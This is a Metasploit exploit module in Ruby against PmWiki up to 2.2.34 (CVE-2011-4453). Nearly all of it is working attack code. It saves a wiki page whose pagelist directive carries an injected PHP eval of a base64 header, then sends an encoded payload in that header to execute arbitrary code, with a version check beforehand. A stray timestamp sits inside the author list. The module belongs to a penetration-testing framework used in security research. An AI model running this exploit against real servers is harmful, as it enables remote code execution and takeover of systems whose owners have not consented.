metasploit-framework/modules/exploits/multi/http/pmwiki_pagelist.rb

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => 'PmWiki <= 2.2.34 pagelist.php Remote PHP Code Injection Exploit',
'Description' => %q{
This module exploits an arbitrary command execution vulnerability
in PmWiki from 2.0.0 to 2.2.34. The vulnerable function is
inside /scripts/pagelist.php.
},
'License' => MSF_LICENSE,
'Author' =>
[
'EgiX', # Vulnerability discovery and exploit
2011-12-29 17:14:15 +00:00
'TecR0c <roccogiovannicalvi[at]gmail.com>' # Metasploit Module
],
'References' =>
[
['CVE', '2011-4453'],
['BID', '50776'],
['OSVDB', '77261'],
['EDB', '18149'],
['URL', 'http://www.pmwiki.org/wiki/PITS/01271']
],
'Privileged' => false,
'Payload' =>
{
'Keys' => ['php'],
'Space' => 4000,
'DisableNops' => true,
},
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [['Automatic',{}]],
'DisclosureDate' => 'Nov 09 2011',
'DefaultTarget' => 0))
register_options(
[
OptString.new('URI',[true, "The path to the pmwiki installation", "/"]),
],self.class)
end
def check
uri = normalize_uri(datastore['URI'])
uri += (datastore['URI'][-1, 1] == "/") ? 'pmwiki.php?n=PmWiki.Version' : '/pmwiki.php?n=PmWiki.Version'
res = send_request_raw(
{
'uri' => uri
}, 25)
if (res and res.body =~ /pmwiki-2.[0.00-2.34]/)
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def exploit
p = Rex::Text.encode_base64(payload.encoded)
header = rand_text_alpha_upper(3)
header_append = rand_text_alpha_upper(4)
uri = normalize_uri(datastore['URI'], "pmwiki.php")
res = send_request_cgi({
'method' => 'POST',
'uri' => uri,
'vars_post' =>
{
'action' => 'edit',
'post' => 'save',
'n' => "#{header}.#{header_append}",
'text' => "(:pagelist order=']);error_reporting(0);eval(base64_decode($_SERVER[HTTP_#{header}]));die;#:)",
}
}, 25)
res = send_request_cgi({
'method' => 'POST',
'uri' => uri,
'headers' =>
{
header => p,
'Connection' => 'Close',
},
'vars_post' =>
{
'n' => "#{header}.#{header_append}",
}
}, 25)
end
end